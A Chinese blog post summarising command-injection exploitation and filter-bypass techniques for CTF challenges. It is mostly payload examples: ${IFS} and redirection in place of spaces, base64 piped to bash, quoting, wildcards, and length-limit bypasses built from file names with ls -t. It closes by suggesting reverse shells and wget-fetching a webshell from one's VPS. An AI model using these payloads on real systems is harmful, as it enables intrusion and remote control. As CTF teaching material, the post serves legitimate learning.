

MENU

# CTF下的命令执行漏洞利用及绕过方法总结

🕒 发表于 2020-07-02 12:11    👁 阅读次数: 3445    💬 评论次数: 0

NONE-TEAM 团队    WEB安全

- 常见管道符
  - Windows系统支持的管道符
  - Linux系统支持的管道符
- 空格过滤
  - \${IFS}
  - 重定向符<>
  - %09(需要php环境)
- 黑名单绕过
  - 拼接

## 1.0 常见管道符

### 1.1 Windows系统支持的管道符

### 1.2 Linux系统支持的管道符

## 2.0 空格过滤

## 3.0 黑名单绕过

## 4.0 读文件绕过

## 5.0 通配符绕过

## 6.0 内敛执行绕过



## 7.0 绕过长度限制

- base64编码
- 单引号、双引号
- 反斜线
- <、>等和\$@
- 读文件绕过
- 通配符绕过
- 内敛执行绕过
- 绕过长度限制
  - Linux中的>符号和>>符号
  - Linux中命令换行
  - 利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)
- 一道CTF题：hitcon 2017 babyfirst-revenge
- 参考链接

## 1/ 常见管道符

## 1/ Windows系统支持的管道符



| 直接执行后面的语句



|| 如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句



& 前面和后面命令都要执行，无论前面真假



&& 如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令



## ⚡ Linux系统支持的管道符

1 |、||、&、&&这四种管道符都存在且用法和Windows系统下一样，多了一个;管道符，作用和&一样

## ⚡ 空格过滤

## ⚡ \${IFS}



## payload1:

```
1 root@kali:~# cat flag
2 this is your flag
3 root@kali:~# cat${IFS}flag
4 this is your flag
```

## payload2:

```
root@kali:~# cat${IFS}$1flag
this is your flag
```

## payload3:

```
1 root@kali:~# cat$IFS$1flag
2 this is your flag
```

## ⚡ 重定向符 <>

## payload1:

```
root@kali:~# cat<>flag
this is your flag
```



payload2:

```
1 root@kali:~# cat<flag  
2 this is your flag
```

∅ %09(需要php环境)



∅ 黑名单绕过

∅ 拼接

```
1 root@kali:~# a=c;b=at;c=fl;d=ag;$a$b $c$d  
2 this is your flag
```

∅ base64编码



payload1:

```
1 root@kali:~# `echo "Y2F0IGZsYWc="|base64 -d`  
2 this is your flag
```

payload2:

```
1 root@kali:~# echo "Y2F0IGZsYWc="|base64 -d|bash  
2 this is your flag
```

## ⌘ 单引号、双引号

```
1 root@kali:~# c'"at fl''ag  
2 this is your flag
```

## ⌘ 反斜线

```
1 root@kali:~# c\at fl\ag  
2 this is your flag
```

## ⌘ \$1、\$2等和\$@



```
1 root@kali:~# c$1at gh$@twf01.txt
2 hello ghtef01
3 nice blckder02
```

## 🚫 读文件绕过

当cat被过滤时，可以使用如下命令代替

- (1)more:一页一页的显示档案内容
- (2)less:与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页
- (3)head:查看头几行
- (4)tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示
- (5)tail:查看尾几行
- (6)nl: 显示的时候，顺便输出行号
- (7)od:以二进制的方式读取档案内容
- (8)vi:一种编辑器，这个也可以查看
- (9)vim:一种编辑器，这个也可以查看
- (10)sort:可以查看
- (11)uniq:可以查看
- (12)file -f:报错出具体内容

## 🚫 通配符绕过



比如

```
1 root@kali:~# /???/?[a][t] ?''?''?''?''
2 this is your flag
3 xx
4 cc
5 xa
6 /bin/cat: test: 是一个目录
7 root@kali:~# /???/?at flag
8 this is your flag
9 xx
10 cc
11 xa
12 root@kali:~# /???/?at ???
13 this is your flag
14 xx
15 cc
16 xa
17 /bin/cat: test: 是一个目录
18 root@kali:~# /???/?[a]''[t] ?''?''?''?''
19 this is your flag
20 xx
21 cc
22 xa
23 /bin/cat: test: 是一个目录
```

当然还有更过分的，2333，这些在CTF比赛中可能会用到

## ∅ 内敛执行绕过





`命令`和\$(命令)都是执行命令的方式

```
1 root@kali:~# echo "xx`pwd`"  
2 xx/root  
3 root@kali:~# echo "xx$(pwd)"  
4 xx/root
```

## 🔪 绕过长度限制

## 🔪 Linux中的>符号和>>符号

(1)通过>来创建文件

6.png

(2)通过 > 将命令结果存入文件中

使用 > 命令会将原有文件内容覆盖，如果是存入不存在的文件名，那么就会新建该文件再存入

7.png



(3) >> 符号的作用是将字符串添加到文件内容末尾，不会覆盖原内容



## Linux中命令换行

在Linux中，当我们执行文件中的命令的时候，我们通过在没写完的命令后面加 \ ，可以将一条命令写在多行

比如一条命令 `cat flag` 可以如下表示

```
1 root@kali:~# ca\  
2 > t\  
3 > fl\  
4 > ag  
5 this is your flag
```



既然可以这样那我们是不是可以在某些限制长度的情况下执行命令，将命令一条一条输入一个文本中再执行，尝试一下



```
1 root@kali:~# echo "ca\\">cmd
2 root@kali:~# echo "t\\">>cmd
3 root@kali:~# echo " fl\\">>cmd
4 root@kali:~# echo "ag">>cmd
5 root@kali:~# cat cmd
6 ca\
7 t\
8 fl\
9 ag
10 root@kali:~# sh cmd
11 this is your flag
```



用这种方法可以绕过一些长度限制读取文件内容

## 🔪 利用ls -t和>以及换行符绕过长度限制执行命令(文件拖

在 `linux` 中, 我们使用 `ls -t` 命令后, 可以将文件名按照时间顺序排列出来 (后创建的排在前面)

```
1 root@kali:~/example# touch a
2 root@kali:~/example# touch b
3 root@kali:~/example# touch c
```



```
4 root@kali:~/example# ls -t
5 c b a
```



我们来看看 `ls -t>ghtwf01` 有什么效果(开始不存在 `ghtwf01` 这个文件)

```
1 root@kali:~/example# ls -t>ghtwf01
2 root@kali:~/example# cat ghtwf01
3 ghtwf01
4 c
5 b
6 a
```



这条命令先执行了创建 `ghtwf01` 文件然后将 `ls -t` 的执行结果写入 `ghtwf01` 文件

我们试试用这些方法来执行命令 `cat flag`

```
1 root@kali:~/example# > "ag"
2 root@kali:~/example# > "fl\\"
3 root@kali:~/example# > "t \\"
4 root@kali:~/example# > "ca\\"
5 root@kali:~/example# ls -t
6 'ca\' 't \' 'fl\' ag flag
7 root@kali:~/example# ls -t > a
8 root@kali:~/example# sh a
9 a: 1: a: not found
```



```
10 this is your flag
11 a: 6: flag: not found
```



读取到了 `flag` 内容为 `this is your flag` , 无论这个文件里面有不有其它内容都能执行  
总而言之文件构造绕过就是如下知识:

linux下可以用 `1>a`创建文件名为a的空文件  
`ls -t>test`则会将目录按时间排序后写进test文件中  
sh命令可以从一个文件中读取命令来执行

反弹 `shell` 命令比较长就可以用这种方式去绕过长度限制

如果服务器能连外网还可以使用命令 `wget 网址 -O shell.php` 去执行我们自己 `vps` 上面的木马文件

\_\_EOF\_\_



本文作者: 李幸

本文链接: <https://www.cnblogs.com/SpouseLJ/p/13223967.html>

关于博主: 评论和私信会在第一时间回复。或者直接私信我。

版权声明: 本博客所有文章除特别声明外, 均采用 BY-NC-SA 许可协议。转载请注明出处!

声援博主: 如果您觉得文章对您有帮助, 可以点击文章右下角 **【推荐】** 一下。您的鼓励是博主的最大动力!



分类:  nOnE-team团队

标签:  WEB安全

好文要顶

关注我

收藏该文



SpouseLJ

粉丝 - 2 关注 - 1

0

0

+加关注

登录后才能查看或发表评论 · 立即 [登录](#) 或者 [逛逛](#) 博客园首页

编辑推荐：

- 记录一次锁的优化
- RabbitMQ 真实生产故障问题还原与分析
- .netcore 全局异常处理
- [ C#异步 ] 异步多线程的本质 · 上下文流转和同步
- .NET AsyncLocal 避坑指南

阅读排行：

- **【故障公告】**攻击式巨量并发请求再次来袭 · 引发博客站点故障
- 用MiniPC搭建个人服务器
- 自己做一个ChatGPT微信小程序(代码开源)
- 开箱即用 · 你不可错过的好东西「GitHub 热点速览」
- CAP 7.1 版本发布通告



This blog has running : 984 d 2 h 51 m 46 s ☺ ☹ ! ) / ♡

Copyright © 2023 SpouseLJ Powered by .NET 7.0 on Kubernetes

Theme version: v1.2.6 / Loading theme version: v1.2.6

